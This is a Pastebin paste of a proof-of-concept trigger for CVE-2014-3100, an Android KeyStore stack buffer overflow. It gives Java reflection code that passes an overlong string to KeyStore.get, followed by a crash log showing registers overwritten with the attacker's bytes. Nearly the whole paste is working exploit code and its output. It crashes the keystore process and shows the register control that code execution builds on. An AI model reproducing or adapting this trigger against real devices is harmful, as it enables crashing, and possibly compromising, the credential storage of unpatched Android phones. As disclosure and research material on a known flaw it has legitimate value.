Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- CVE-2014-3100 POC javascript trigger code:
- 1 Class keystore = Class . forName (" android . security . KeyStore ");
- 2 Method mGetInstance = keystore . getMethod (" getInstance ");
- 3 Method mGet = keystore . getMethod (" get", String . class );
- 4 Object instance = mGetInstance . invoke ( null ); inf
- 5 mGet . invoke ( instance ,
- 6 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 7 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 8 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 9 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 10 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 11 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
- 12 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");
- Running this code crashes the KeyStore process:
- F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
- I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
- I/ DEBUG ( 949): Build fingerprint : 'generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
- J/eng. android - build .20130801.155736: eng/test -keys '
- I/ DEBUG ( 949): Revision : '0'
- I/ DEBUG ( 949): pid: 2091 , tid: 2091 , name : keystore >>> / system /bin/ keystore <<<
- I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ), fault addr 61616155
- I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
- I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
- I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
- I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
- I/ DEBUG ( 949):
- I/ DEBUG ( 949): backtrace :
- I/ DEBUG ( 949): #00 pc 0000 c937 / system /bin/ keystore ( KeyStore :: getKeyForName ( Blob *,
- android :: String8 const &,
- unsigned int , BlobType )+695)
- I/ DEBUG ( 949):
- I/ DEBUG ( 949): stack :
- I/ DEBUG ( 949): bff85ce0 00000000
- ...
- I/ DEBUG ( 949): bff85d48 00000007
- I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
- I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
- I/ DEBUG ( 949): bff85d54 b77765a3 / system /bin/ keystore
- I/ DEBUG ( 949): bff85d58 b7776419 / system /bin/ keystore
- I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
- I/ DEBUG ( 949): ........ ........
- I/ DEBUG ( 949):
- I/ DEBUG ( 949): memory map around fault addr 61616155:
- I/ DEBUG ( 949): (no map below )
- I/ DEBUG ( 949): (no map for address )
- I/ DEBUG ( 949): b72ba000 - b73b8000 r-- /dev/ binder
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement